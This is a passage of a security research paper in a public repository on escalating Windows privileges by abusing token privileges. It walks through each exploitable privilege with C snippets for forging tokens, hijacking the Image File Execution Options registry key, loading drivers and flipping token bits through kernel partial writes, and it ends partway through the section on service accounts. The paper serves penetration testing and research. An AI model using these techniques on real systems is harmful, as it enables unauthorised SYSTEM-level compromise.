/ token-priv Public
Switch branches/tags
 |=-----------------------------------------------------------------------=| |=----------------=[ Abusing Token Privileges For LPE]=------------------=| |=-----------------------------------------------------------------------=| |=----------------------=[ drone <@dronesec> ]=--------------------------=| |=----------------=[ breenmachine <@breenmachine>]=----------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 0 - Introduction 1 - Token Overview 1.1 - Windows Privilege Model 1.2 - Token Structure and Privileges 1.3 - Token Impersonation 2 - Modern Mitigations and Techniques 2.1 - Modern Windows Kernel Mitigations 2.2 - Relevant Exploitation Strategies 3 - Abusing Token Privileges 3.1 - Exploitable Privileges 3.2 - Exploiting Partial Writes 3.3 - Abusing Existing Service Accounts 4 - Case Studies 4.1 - MS16-135 4.2 - MS15-061 4.3 - HEVD 5 - Conclusions 6 - Greets 7 - References --[ 0 - Introduction Windows kernel exploitation has grown increasingly complex over the last several years, particularly with the release of Windows 10 and its successive core updates. Techniques have been born and died over the course of months, new ones quickly replacing them. Techniques themselves have grown hyper specific or brittle, fitting only a particular pattern or space. Exploitation has often relied on obtaining some form of arbitrary code execution. Obtaining a read/write primitive, stacking strategies to evade mitigations, and eventually obtaining the execution of a privileged action. Recently we've seen a trend towards logic basic actions, such as token stealing, enabling god mode bits, or NULLing out token security descriptors [0]. These actions delegate the theft of privileges to userland, freeing the exploit dev from the confines of kernel hell. The token stealing shellcode popularized by many exploit developers and malware authors over the years is not one of chance. It's been an extremely reliable technique offering stable, simple shellcode and, until recently, acceptable behavior. Microsoft has implemented detection heuristics within its Advanced Threat Protection platform [2], but as of yet not implemented anything within the Windows kernel itself. For malware writers and skiddies, this might be tolerable, but for advanced adversaries or red teamers, it is not. This paper aims to discuss one such logic-based technique that we've refined over the last several months and exploits. Although the techniques themselves are not new [2], we hope to present new approaches and ideas that may aid in the further refinement of this technique and others. In addition to kernel exploitation, token privileges can be abused in other less exotic ways. In situations where a service account is compromised, which has non-standard privileges enabled, they can often be leveraged to gain elevation of privilege (EoP). The methods for doing this are specific to each privilege, often undocumented, and in many cases non-trivial. In section 3.3 of this paper we demonstrate how many of these privileges can be abused for EoP in common penetration testing and red teaming scenarios. We aim to consolidate disparate sources and provide reference for future work. We acknowledge the time and efforts of other researches within the same space, and hope to give something meaningful back to the community at large. --[ 1 - Token Overview The basis of our strategy again stems from the very core of the object access model within Windows. Windows uses token objects to describe the security context of a particular thread or process. These token objects, represented by the nt!_TOKEN structure, contain a vast swath of security and referential information, including integrity level, privileges, groups, and more. Our focus lies on the privileges contained within these tokens. ----[ 1.1 - Windows Privilege Model We'll briefly describe the Windows privilege model as it relates to process and thread tokens. If you'd like an in-depth explanation, the authors recommend Windows Internals Part 1 or spending some time in windbg. Each process on the system holds a token object reference within its EPROCESS structure which is used during object access negotiations or privileged system tasks. This token is granted via LSASS during the logon process, and thus all processes within a session run under the same token, initially. A process holds a primary token and threads executing within the process inherit this same token. When a thread needs to access an object using a different set of credentials, it can use an impersonation token. Using an impersonation token does not impact the primary token or other threads, but only execution in the context of the impersonating thread. These impersonation tokens can be obtained via a number of different APIs provided by the kernel. The token serves as a processes access ticket, which must be presented to the various gatekeepers within Windows; it's evaluated via SeAccessCheck on object access and by SeSinglePrivilegeCheck during privileged operations. When a process requests write access to a file, for example, SeAccessCheck will evaluate the tokens integrity level followed by an evaluation of its Discretionary Access Control List (DACL). When a process attempts to shutdown a system via NtShutdownSystem, the kernel will evaluate whether or not the requesting process token has SeShutdownPrivilege enabled. ----[ 1.2 - Token Structure and Privileges As mentioned, the _TOKEN structure primarily contains security context information about a process or thread. The relevant entry for our purposes is _SEP_TOKEN_PRIVILEGES, located at offset 0x40, containing token privilege information: kd> dt nt!_SEP_TOKEN_PRIVILEGES c5d39c30+40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x800000 The Present entry represents an unsigned long long containing the present privileges on the token. This does not mean that they are enabled or disabled, but only that they exist on the token. Once a token is created, you cannot add privileges to it; you may only enable or disable existing ones found in this field. The second field, Enabled, represents an unsigned long long containing all enabled privileges on the token. Privileges must be enabled in this bitmask to pass the SeSinglePrivilegeCheck. The final field, EnabledByDefault, represents the initial state of the token at the moment of conception. Privileges can be enabled or disabled by twiddling specific bits within these fields. For example, to enable SeCreateTokenPrivilege, one would simply need to execute: _SEP_TOKEN_PRIVILEGES+0x44 |= 1 << 0x000000002. Disabling the privilege would be the inverse: _SEP_TOKEN_PRIVILEGES+0x44 &= ~(1 << 0x000000002). A Pykd helper script can be found here [3]. Up until recently, one must only set bits within the Enabled field to actually toggle privileges within a token. This means that a single write, partial or otherwise, is enough to enable privileges. With the release of Windows 10 v1607, however, the kernel now verifies that the enabled bits are also flipped in the Present field [4]. Although on the surface the tokens security model of defining specific privileges for various tasks appears to allow for the implementation of service specific, fine-grained access controls, a closer look reveals a more complex situation. Many of the privileges, when enabled, allow the user to perform privileged actions that can result in elevation of privilege. This effectively destroys the "fine-grain" access control structure and can provide a false sense of security. ----[ 1.3 - Token Impersonation Before diving into specific privileges, it will be beneficial to describe the Windows mechanism for determining whether a specific thread can make use of a given token. Any user may be able to obtain a handle to a privileged token, but being able to actually use it is another matter. In Windows, “Token Impersonation” is when a new token is assigned to a thread that is different from the parent process's token. Although the word impersonation implies that one user is using a token belonging to a different user, this is not always the case. A user may impersonate a token that belongs to them but simply has a different set of privileges or some other modifications. One of the fields specified in every token is the tokens impersonation level. This field controls whether that token can be used for impersonation purposes and to what degree. The four impersonation levels are as follows: SecurityAnonymous - The server cannot impersonate or identify the client. SecurityIdentification - The server can get the identity and privileges of the client, but cannot impersonate the client. SecurityImpersonation - The server can impersonate the client's security context on the local system. SecurityDelegation - The server can impersonate the client's security context on remote systems. SecurityImpersonation and SecurityDelegation are the most interesting cases for us. Identification tokens and lower can not be used to run code. Whether or not a given user is allowed to impersonate a specific token can be determined as follows: IF the token level < Impersonate THEN allow (such tokens are called “Identification” level and can not be used for privileged actions). IF the process has “Impersonate” privilege THEN allow. IF the process integrity level <= the token integrity level AND the process user == token user THEN allow ELSE restrict the token to “Identification” level (no privileged actions possible). --[ 2 - Modern Mitigations and Techniques Windows 10 significantly improves upon the security of the Windows kernel, both in overall reducing the attack surface and improving existing defenses. Microsoft continues to iterate on defensive mechanisms: KASLR continues to receive much needed improvements (still many leaks), hardening of often exploited structures for read/write primitives (tagWND), and mitigating the revered NULL SecurityDescriptor technique [5]. As attackers have demonstrated over the years, squashing individual strategies only gives birth to newer ones, and the cycle continues. In order to provide some context on the topics discussed, a brief description of modern kernel mitigations and exploitation techniques follows. These sections are by no means authoritative or comprehensive, and are meant only to reinforce the overall complexity and upfront investment cost of modern kernel exploitation. Go ask Ionescu if you have questions. ----[ 2.1 - Modern Windows Kernel Mitigations Windows 10 and successive updates (Anniversary/Creators) have included a number of exploit mitigation improvements, detailed by Skape et al. at Blackhat 2016 [8]. We recommend reviewing the referenced slides for further details and statistics on general Windows mitigation strategies. We will focus on mitigations relevant to the topic at hand. Kernel ASLR has seen improvement by enabling ASLR on various regions and structures within the kernel. Though this is a strong mitigation strategy for remote kernel exploits, there exists several public and private strategies for leaking object addresses in the kernel [9], and thus does not pose much of a threat for the technique detailed here. Core data structures and memory regions once used for KASLR bypasses, such as the HAL dispatch table, are now fully randomized. The AppContainer, first introduced in Windows 8, provides sandboxing capabilities for userland applications. This control has been expanded upon in Windows 10 to include win32k system call filtering which restricts the process from abusing various win32k syscalls. This is currently only (officially) enabled for the Edge browser, and thus is not very interesting. A common kernel read/write primitive is the tagWND structure, which when corrupted allows for arbitrary read/writes via InternalGetWindowText/NtUserDefSetText. Exploits for MS15-061 and more recently MS16-135 were found to be taking advantage of this technique. The Anniversary Update now provides additional bounds checks on this specific object, rendering it useless. Though this form of technique squashing is rudimentary, a mere annoyance in having to find other rw primitives, it can be effective for breaking already deployed/developed chains. The introduction of SMEP in Windows 8 means we can no longer ask the kernel to execute userland shellcode for us. Many bypasses have been used over the years, some still effective, most not. Evasion generally involves disabling some principle of mitigation or getting code into the kernel (via RWX regions or KROP). Because we're not looking to execute any shellcode within the kernel or even in userland, this mitigation does not apply. Another interesting mitigation is the mythical Patchguard, formerly known as Kernel Patch Protection, introduced many moons ago to the x64 NT kernel. If you're unfamiliar with this mitigation, know that it is the kernel boogeyman. It monitors a random subset of checks, at random times, for random reasons. Its initialization and runtime behavior are obfuscated. Its source code and behavior are obfuscated from even internal Windows developers. Skywing and Skape have previously done quite a bit of work reversing and documenting portions of it, and should be referenced for further tales of intrigue [18]. As of Windows 10, there are 44 different checks in Patchguard (visible via !analyze -show 109), and while the authors are suspicious of the lists completeness, there is no protection of process tokens. ----[ 2.2 - Relevant Exploitation Strategies Previous, related work that provided influence and indirect guidance for this article's strategy is presented here. These related techniques are briefly detailed to provide background and to pay homage to those who came before us. Cesar Cerrudos Easy Local Windows Kernel Exploitation paper released at Blackhat 2012 [1] introduced three different privilege escalation strategies, and pointed many exploit devs towards the power of abusing process tokens. The first technique demonstrated in the paper details the NULL ACL strategy, now partially mitigated, in which an arbitrary write could be leveraged to NULL a privileged object's ACL. This was and is a very common strategy for effectively migrating into more privileged processes. The second Cerrudos strategy is a carpet bombing version of ours, in which an arbitrary write could enable all privileges in a process token. With these privileges enabled, one could exploit SeDebugPrivilege and migrate into a more privileged process, create tokens with SeCreateTokenPrivilege, or load kernel drivers with SeLoadDriverPrivilege. The third and final Cerrudos strategy is another technique very popular in modern EoP exploits, and involves replacing a process token with a SYSTEM token. This has been widely detailed from various perspectives elsewhere, and will not be repeated here. Yin Liang and Zhou Li of Tencent conducted and released similar research at Blackhat Europe 2016, in which they demonstrated abusing partial writes with window objects in order to obtain rw primitives [11]. Much like our work, they focused on partially controlled, limited write bugs such as MS16-135 and CVE-2016-0174 in which the target of an OR or DEC may be controlled. In these cases, particularly those involving win32k, our strategy obviates the need to obtain a primitive. Moritz Jodeit published a great article on CVE-2014-4113, in which he targeted the _SEP_TOKEN_PRIVILEGES structure with an uncontrolled write in order to enable additional token privileges [12]. His technique is of interest because it demonstrated, at the time, modern mitigation evasion without any pointer overwrites or the execution of shellcode, with the added benefit of a vastly simplified exploitation process. --[ 3 - Abusing Token Privileges ----[ 3.1 - Exploitable Privileges For the purpose of this paper, we will define an “exploitable” privilege as any token privilege that can be used alone to gain “NT AUTHORITY\SYSTEM” level access to the target system. The term “exploit” is used loosely here, in most cases these exploits are intended, albeit undocumented, behavior. As was mentioned in section 1.2, the nt!_SEP_TOKEN_PRIVILEGES structure is a binary field in the token where each bit determines whether a given privilege is present or enabled in the token. The exact structure of this bitmask, which bits correspond to which privileges, can be found in the code released with this project, specifically the pykd script - “tokenum.py”. The remainder of this section deals with the details of each privilege we were able to successfully abuse to gain elevated privileges. Code samples to take advantage of each of these privileges are included with this project. ------ [ 3.1.1 - SeImpersonatePrivilege The SeImpersonatePrivilege is described on MSDN as “User Right: Impersonate a client after authentication.” This is the privilege referred to in section 1.4, in the second step, when checking whether a specific process can impersonate a given token. Any process holding this privilege can impersonate any token for which it is able to get a handle. It should be noted that this privilege does not allow for the creation of new tokens. This particular privilege is quite interesting because it is required by a number of common Windows service accounts, such as LocalService and those for MSSQL and IIS. An “exploit” for this privilege then would also yield elevation of privilege if any such accounts were compromised. This was the subject of previous work by the authors [6]. In [20], a method to gain a handle to a token for the “NT AUTHORITY\SYSTEM” account is described. Basically a Windows service (DCOM) is passed a specially crafted object that contains a reference to an attacker controlled TCP listener on the local machine. When Windows tries to resolve this reference, the attacker requests NTLM authentication and then relays the NTLM authentication sent to the listener to create a new token on the local machine. This token will be for the user “NT AUTHORITY\SYSTEM” and have full administrative privilege. Any user can perform the previously described procedure to gain a handle to a token for the “NT AUTHORITY\SYSTEM” user, however in order to make use of this handle, the ability to impersonate is required; the SeImpersonatePrivilege allows us to do just that. All that is required to spawn a new process with the elevated token is to call the CreateProcessWithToken function, passing the new token as the first argument. ------ [ 3.1.2 - SeAssignPrimaryPrivilege The SeAssignPrimaryPrivilege is offensively very similar to the previously discussed SeImpersonatePrivilege. It is needed to “assign the primary token of a process”. Our strategy will be to spawn a new process using an elevated token. In order to create a new process with a privileged token, we will first need to get a handle to such a token. To do this, we follow the procedure described in [20] and briefly outlined in section 3.1.1. As the name of this privilege implies, it allows us to assign a primary token to a new or suspended process. Using the strategy outlined in 3.1.1 to obtain a token, we find ourselves with a privileged impersonation token, and thus will need to first derive a primary token from it. This can be accomplished via the DuplicateTokenEx function: DuplicateTokenEx(hClientToken, TOKEN_ALL_ACCESS, NULL, SecurityAnonymous, TokenPrimary, &hDupedToken); With a privileged primary token in hand, we now have a few options. Unfortunately, we cannot simply swap the token of our currently running process for the elevated one, as changing primary tokens on running processes is not supported behavior. This is controlled by the PrimaryTokenFrozen field in the EPROCESS structure. The simplest option is to make a call to “CreateProcessAsUser” using the new token as an argument to create a new, highly privileged process. Alternatively, we can spawn a new process in the suspended state and perform the same operation as above. When a new processes is created with a call to CreateProcess(..., CREATE_SUSPENDED, ...), the value for PrimaryTokenFrozen is not yet set, allowing the token to be swapped. A corollary to the previous point is that in some partial write exploitation scenarios, we can actually swap the token of the currently running process for an elevated one. If we can cause the PrimaryTokenFrozen field to be unset through our partial write, assuming we possess, or can gain SeAssignPrimaryTokenPrivilege, we can then call NtSetInformationProcess to swap the old token for the new one. Since PrimaryTokenFrozen is a single bit field, the surrounding fields are relevant because they will likely be trashed by any sort of partial write: +0x0c8 RefTraceEnabled : Pos 9, 1 Bit +0x0c8 DisableDynamicCode : Pos 10, 1 Bit +0x0c8 EmptyJobEvaluated : Pos 11, 1 Bit +0x0c8 DefaultPagePriority : Pos 12, 3 Bits +0x0c8 PrimaryTokenFrozen : Pos 15, 1 Bit +0x0c8 ProcessVerifierTarget : Pos 16, 1 Bit +0x0c8 StackRandomizationDisabled : Pos 17, 1 Bit If for example you've got an arbitrary decrement, as in MS15-061, you can unset the TokenPrimaryFrozen bit and swap your process token out: NtSetInformationProcess(hCurrentProcess, (PROCESS_INFORMATION_CLASS)0x09, &hElevatedPrimaryToken, 8); ------ [ 3.1.3 - SeTcbPrivilege SeTcbPrivilege is quite interesting, MSDN describes it as “This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege.” In addition to this, a number of books, articles, and forum posts describe the TCB privilege as being equivalent to fully privileged access to the machine. However, despite all this, no publicly available resources seem to indicate HOW the SeTcbPrivilege can be used, on its own, to perform privileged operations. We began by analyzing MSDN documentation, trying to find which Windows API calls were restricted to accounts with SeTcbPrivilge. In the documentation for the LsaLogonUser function, we find the following as the first parameter: LsaHandle [in] A handle obtained from a previous call to LsaRegisterLogonProcess. The caller is required to have SeTcbPrivilege only if one or more of the following is true: + A Subauthentication package is used. + KERB_S4U_LOGON is used, and the caller requests an impersonation token. + The LocalGroups parameter is not NULL. If SeTcbPrivilege is not required, call LsaConnectUntrusted to obtain the handle. Normally the LsaLogonUser API call is used to authenticate a user with some form of credentials, however we are assuming that we have no knowledge of the target system and its users. Further, which user will we attempt to logon? Finally, how will we impersonate the resulting token since we do not have SeImpersonatePrivilege? Thankfully James Forshaw chimed in with a very useful <140 character message: “you could use LsaLogonUser to add admin group to a token of your own user, then impersonate.” There is an interesting logon type in Windows known as S4U logon (and referenced above as KERB_S4U_LOGON). It is effectively described in an MSDN blog post [19] as follows: “In Windows, it is possible to logon as a different domain user without any credentials. This is known as a S4U or a Service For User Logon. This is a Microsoft Extension to Kerberos introduced with Windows Server 2003.” This seems to fit what we are trying to do perfectly; using the S4U logon type, we can obtain a token for any user. Referring back to the documentation for the LsaHandle parameter above, if we have SeTcbPrivilege, apparently the resulting token can be an “impersonation” token, meaning we can assign it to a thread. Referring again to the LsaHandle parameter, the last bullet point implies that we can call LsaLogonUser with SeTcbPrivilege and add arbitrary groups to the resulting token returned by this call. We will add the group SID “S-1-5-18” to the token, this is the SID for the Local System account and if we are using a token that possesses it, we will have full privilege on the system. Adding the SYSTEM SID is quite straightforward: WCHAR systemSID[] = L"S-1-5-18"; ConvertStringSidToSid(systemSID, &pExtraSid); pGroups->Groups[pGroups->GroupCount].Attributes = SE_GROUP_ENABLED | SE_GROUP_MANDATORY; pGroups->Groups[pGroups->GroupCount].Sid = pExtraSid; pGroups->GroupCount++; The only piece remaining in this puzzle is how we will use the resulting impersonation token, since we are assuming that we have SeTcbPrivilege, but no other impersonation related privileges. Referring back to section 1.4 on the rules related to token impersonation, we can see that we should be able to impersonate the token without any special privileges as long as the token is for our current user and the integrity level of the token is “Medium”. So using the token returned by LsaLogonUser, we simply set the integrity level to “Medium” and then call SetThreadToken to replace our current thread's token with the new one. ------ [ 3.1.4 - SeBackupPrivilege The SeBackupPrivilege is described on MSDN as follows: “Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: -READ_CONTROL -ACCESS_SYSTEM_SECURITY -FILE_GENERIC_READ -FILE_TRAVERSE” To use this privilege for EoP, we read the password hashes of local Administrator accounts from the registry and then pass these to a local service from which we can get code execution, the most popular technique here would simply be passing the hash with “psexec” or “wmiexec”. Unfortunately for us there are two caveats in this scenario. First, many organizations over the past several years have begun to disable local administrator accounts. Second, even in cases where some local administrator accounts remain enabled, Microsoft implemented a change in Windows Vista and newer where only the RID 500 (the default local Administrator) account can administer the machine remotely by default: When a user who is a member of the local administrators group on the target remote computer establishes a remote administrative connection…they will not connect as a full administrator. The user has no elevation potential on the remote computer, and the user cannot perform administrative tasks. In our experience however, it is still fairly common in enterprise environments to find the RID 500 local administrator account enabled. ------ [ 3.1.5 - SeRestorePrivilege The restore privilege is described as being “required to perform restore operations”, and causes the system to grant all write access control to any file on the system, regardless of the files ACL. Additionally, this privilege allows the holding process or thread to change the owner of a file. The implications of obtaining this privilege should be obvious. In order to use this privilege, one must supply the FILE_FLAG_BACKUP_SEMANTICS flag to supporting APIs. This tips the kernel off that the requesting process might have SeBackupPrivilege or SeRestorePrivilege enabled, and to check for it before short circuiting the DACL check. Keen observers may infer from the terse description of the privilege on MSDN that this also allows for the creation or modification of registry keys. Arbitrary writes to HKLM opens up infinite potential for privilege escalation. We chose to use the Image File Execution Options key, used for debugging software on a system. When a system binary is launched, if an HKLM entry exists for it at HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options and it contains a Debugger key, it will execute the set entry. This technique is fairly common for malware persistence and privilege escalation vulnerabilities [7]. Exploitation simply requires opening the registry, specifying the backup flag, and creating the key: RegCreateKeyExA( HKEY_LOCAL_MACHINE, “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsqmcons.exe”, 0, NULL, REG_OPTION_BACKUP_RESTORE, KEY_SET_VALUE, NULL, &hkReg, NULL); RegSetValueExA(hkReg, "Debugger", 0, REG_SZ, (const BYTE*)regentry, strlen(regentry) + 1); In the above sample we used wsqmcons, a consolidator service that runs as SYSTEM and is triggerable by a standard user on the system. In addition to adding registry entries, one could also drop DLLs into system folders for DLL hijacking, overwrite critical system resources, or modify other services. ------ [ 3.1.6 - SeCreateTokenPrivilege The “SeCreateTokenPrivilege” allows users to create primary tokens via the ZwCreateToken API. Unfortunately, this right alone does not allow the user to use the token they have just created. Therefore naive attempts to create and use tokens for high privileged users such as “NT AUTHORITY\SYSTEM” will not succeed. Recall the rules for token impersonation from section 1.4. A user is allowed to impersonate a token even without SeImpersonatePrivilege so long as the token is for the same user and the integrity level is less than or equal to the current process integrity level. In order to leverage SeCreateTokenPrivilege, we need only craft a new impersonation token that matches the requesting token with the addition of a privileged group SID. This is in theory pretty simple to do, but the API for these interfaces and ZwCreateToken is not very friendly. Most of the fields we can query from our executing token via GetTokenInformation, with only a few exceptions. As mentioned, we want to enable the local administrator group on the token. To do this, we build a SID using the RID of the group: SID_BUILTIN SIDLocalAdminGroup = { 1, 2, { 0, 0, 0, 0, 0, 5 }, { 32, DOMAIN_ALIAS_RID_ADMINS } }; We then iterate over the token's groups and elevate it from user to administrative membership: for (int i = 0; i < groups->GroupCount; ++i, pSid++) { PISID piSid = PISID)pSid->Sid; if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS){ memcpy(piSid, &TkSidLocalAdminGroup, sizeof(TkSidLocalAdminGroup)); pSid->Attributes = SE_GROUP_ENABLED; } } The final change is ensuring that we're building a TokenImpersonation token. This can be set in the token's object attributes: SECURITY_QUALITY_OF_SERVICE sqos = { sizeof(sqos), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE }; OBJECT_ATTRIBUTES oa = { sizeof(oa), 0, 0, 0, 0, &sqos }; Provided we maintain the token user and integrity level, we can finally use the token and impersonate the executing thread. ------ [ 3.1.7 - SeLoadDriverPrivilege The LoadDriver privilege is described by Microsoft as “User Right: Load and unload device drivers”. The fact that device drivers run in the kernel makes this a very desirable privilege. Our goal then is to execute arbitrary code in the kernel given only SeLoadDriverPrivilege and to bypass any driver signing requirements in the process; a tall order. Most documentation on this privilege and the associated “NtLoadDriver” Windows API call assumes that the caller has additional privilege on the system, specifically the ability to write to the HKLM (HKEY_LOCAL_MACHINE) section of the Windows registry. The format of the Windows API call to load a driver is as follows: NTSTATUS NtLoadDriver( _In_ PUNICODE_STRING DriverServiceName); DriverServiceName [in] Pointer to a counted Unicode string that specifies a path to the driver's registry key, \Registry\Machine\System\CurrentControlSet\Services\DriverName, where DriverName is the name of the driver. The DriverServiceName parameter is a pointer to a registry location. Under the “DriverName” key, there should be at least the following two values: + ImagePath - A string in the format “\??\C:\path\to\driver.sys” + Type - A DWORD that should be set to “1” Notice the “DriverServiceName” parameter format supposedly (according to the documentation) must begin with “\Registry\Machine” which is a reference to the HKLM registry key for which we are assuming we do not have access. In order to circumvent this obstacle, we can actually use a path that points to HKCU (HKEY_CURRENT_USER) instead such as “\Registry\User\S-1-5-21-582075628-3447520101-2530640108-1003\”. Here the numeric ID in the string is the RID for our current user. We must do this because the kernel doesn't know what HKCU is, as it's purely a userland helper that points into the HKLM hive. Since “System\CurrentControlSet\Services\DriverName” does not exist under this path we must create it, which we can do since it is the current user's registry hive. The format for loading a simple driver is fairly straightforward. We must, at minimum, define two things: + REG_DWORD Type + REG_SZ ImagePath The type defines the service, as listed in wdm.h: #define SERVICE_KERNEL_DRIVER 0x00000001 #define SERVICE_FILE_SYSTEM_DRIVER 0x00000002 #define SERVICE_ADAPTER 0x00000004 #define SERVICE_RECOGNIZER_DRIVER 0x00000008 [....] In our case, we'll use the SERVICE_KERNEL_DRIVER type. Once these values are set, we can then invoke NtLoadDriver with a path to our registry key and load the driver into the kernel. There are several other strategies that can be used to load kernel mode drivers, such as the FltMgr or condrv key, but these cannot be used without administrative privileges in the first place. ------ [ 3.1.8 - SeTakeOwnershipPrivilege This privilege is, offensively, similar to SeRestorePrivilege. According to MSDN, it allows a process to “take ownership of an object without being granted discretionary access” by granting the WRITE_OWNER access right. Exploiting this privilege is very similar to SeRestorePrivilege, except we first need to take ownership of the registry key we want to write to. Taking ownership of the registry key requires building an ACL with updated ownership, then modifying the DACL so that we can write into it. Building an ACL requires the construction of an EXPLICIT_ACCESS object: ea[0].grfAccessPermissions = KEY_ALL_ACCESS; ea[0].grfAccessMode = SET_ACCESS; ea[0].grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT; ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID; ea[0].Trustee.TrusteeType = TRUSTEE_IS_USER; ea[0].Trustee.ptstrName = (LPTSTR)user->User.Sid; // owner We can then use SetEntriesInAcl to build the ACL object. Once the ACL object is composed, we take ownership of the registry path: SetNamedSecurityInfo( _TEXT("MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion \\Image File Execution Options"), SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, user->User.Sid, NULL, NULL, NULL); Once we own the registry key, we make one last call to SetNamedSecurityInfo to enable the previously composed ACL and gain write privileges to the entry: SetNamedSecurityInfo(_TEXT("MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), SE_REGISTRY_KEY, // type of object DACL_SECURITY_INFORMATION, // change DACL NULL, NULL, // do not change owner or group pACL, // DACL specified NULL); At this point we can follow the same steps taken via the SeRestorePrivilege method, making sure to restore registry ownership once we're done. Much like SeRestorePrivilege, we can also take control of critical system files or folders to abuse DLL load order or other such techniques. ------ [ 3.1.9 - SeDebugPrivilege SeDebugPrivilege is very powerful, it allows the holder to debug another process, this includes reading and writing to that process' memory. This privilege has been widely abused for years by malware authors and exploit developers, and therefore many of the techniques that one would use to gain EoP through this privilege will be flagged by modern endpoint protection solutions. There are a host of various memory injection strategies that can be used with this privilege that evade a majority of AV/HIPS solutions. Finding these is left as an exercise for the reader. ----[ 3.2 - Exploiting Partial Writes With an understanding of how individual privileges can be exploited, we can now begin to demonstrate how and why these might be useful to us. Case studies will be discussed further in section 4. This technique was born from attempts at evading various kernel and userland mitigations via partial write exploits. To establish a familiar vernacular, a partial write is an instruction in which the destination is controlled, but the value written may not be. Or the value may be a single bit or byte modification, such as a decrement or addition. Take for example a DEC operation; if the destination address can be controlled, then we've got the ability to arbitrarily decrement any address by one. The OR instruction is another example; while we may control the destination in which we perform the OR operation, we might not control the value in which we OR it with: OR DWORD PTR[controlled], 4. Commonly, exploiting these would require modifying object fields, such as a length, in order to obtain an arbitrary or partial read/write primitive. Others may make modifications to page tables or mangle other kernel mode data structures. These are all pieces to a larger exploit chain that generally ends in NULLing an ACL, swapping process tokens, or executing a privileged usermode process. Privileged execution (see:payload) changes with the mitigation landscape. Instead of trying to execute ROP in the kernel or mangle kernel objects, why not delegate the escalation of privileges to userland? Much like the process swapping strategy, if we can enable elevated privileges in userland, we stand to benefit from increased reliability, trivial sidestepping of various kernel mitigations, and increased flexibility in the deliverance of some malicious payload. We want to persist on a system unimpeded, and to do so we must remain clandestine. As discussed in section 1.2, each token has a _SEP_TOKEN_PRIVILEGES structure containing what privileges a token currently holds. Our path towards elevation should be pretty obvious: by abusing a partial write and a userland information leak, we can flip a few bits in our process token and obtain access to administrative privileges. Because we often cannot control the value being written, it's important that all possible values allow for elevation. We've identified three bytes in which do not grant administrative privileges: 0x00, 0x40, 0x41. That is, if you were to obtain a MOV BYTE PTR[controlled], 0x41 primitive, you would not be able to enable an exploitable privilege. This assumes a MOV operation on default privilege bitmasks; other operations or combinations of privileges may grant elevated privileges. All other values provide access to an exploitable privilege. In order to target this process token, we must be able to obtain the address of a controlled processes token. As we're targeting privilege escalation vulnerabilities with this strategy, we can use and continue to use (as of v1703) the common NtQuerySystemInformation API to leak our process token address, as demonstrated below: NtQuerySystemInformation(16, bHandleInfo, sizeof(bHandleInfo), &BytesReturned)); PSYSTEM_HANDLE_INFORMATION shiHandleInfo = (PSYSTEM_HANDLE_INFORMATION)bHandleInfo; PSYSTEM_HANDLE_TABLE_ENTRY_INFO hteCurrent= &shiHandleInfo>Handles[0]; for (i = 0; iNumberOfHandles; hteCurrent++, i++) { if(hteCurrent>UniqueProcessId == dwPid && hteCurrent>HandleValue == (USHORT)hToken) return hteCurrent>Object; } The dwPid value is the process in which the token exists, and the hToken is a handle to the process token. Note that, as of Windows 8.1 this strategy no longer works under Low integrity processes, and thus other methods will need to be employed. For brevity and clarity, we will work under the assumption that we're targeting privilege escalation from a Medium integrity process (default IL for users) and rely on the above technique. ----[ 3.3 - Abusing Existing Service Accounts In addition to being useful for local privilege escalation through arbitrary write primitives in the kernel, these same techniques can be of use in the more common scenario where an attacker is accessing the machine as a local service account. There are a number of common scenarios where an attacker is able to execute code in the context of a service account on a target machine, including the following: + The service itself is compromised through some vulnerability. Typical scenarios include web application vulnerabilities which allow execution in the context of the account running IIS, and SQL injection vulnerabilities where XP_CMDSHELL can be used to run code in the context of the SQL service account. + Service account credentials are leaked in some way. + Kerberoast style attacks. A Kerberos ticket is requested for the target account from the domain controller. Part of this ticket is encrypted using the target account's password hash. This can be efficiently cracked offline to yield the account password. In any of these scenarios, if the service account happens to have one of the privileges outlined in the previous section, it is possible to gain local privilege escalation simply by leveraging the corresponding module from this project. ----[ 3.3.1 - Common Service Accounts In this section, we will give brief examples of some common service accounts that can be abused for EoP due to their default token privileges. ----[ 3.3.1.2 - MSSQL / IIS If we examine the default privileges assigned to the MSSQL and IIS service accounts using the “AccessChk” tool from Sysinternals, we find the following: + IIS - SeImpersonatePrivilege - BUILTIN\IIS_IUSRS + MSSQL - SeAssignPrimaryTokenPrivilege - NT SERVICE\SQLAgent$SQLEXPRESS, NT SERVICE\MSSQLLaunchpad$SQLEXPRESS, NT SERVICE\MSSQL\$SQLEXPRESS These privileges are sufficient for EoP by leveraging the modules in this project. Compromise of these accounts is a very common penetration testing scenario. Any time SQL injection in MSSQL, or a web application vulnerability in IIS is exploited to gain command execution, the attackers end up with these privileges. Traditionally, this was considered a limiting scenario with a restricted local account and an attacker would need to resort to another method for EoP. Using the techniques outlined in this paper, it is simply a matter of abusing existing token privileges. ----[ 3.3.1.3 - Backup Products Every commercial backup product on the market will run with some sort of elevated privilege. In many cases, the backup service account will run with SYSTEM privileges, making EoP unnecessary. Where administrators have started to smarten up however, we are starting to see the privileges on these accounts become more restricted. The following are the minimum privileges required by the Veritas NetBackup solution, shamelessly borrowed from their website (https://www.veritas.com/support/en_US/article.TECH36718): + *Act as a part of Operating System ( Only for Windows Server 2000 ). + *Create a token object. + Log on as a service. + Logon as a batch job. + Manage auditing and security log. + *Backup files and directories. + *Restore files and directories. Note the 4 items in the list that we've marked with an asterisk (*). Any one of these privileges alone can be leveraged for EoP given one of the techniques described in this project. ----[ 3.3.1.4 - Local Service Accounts 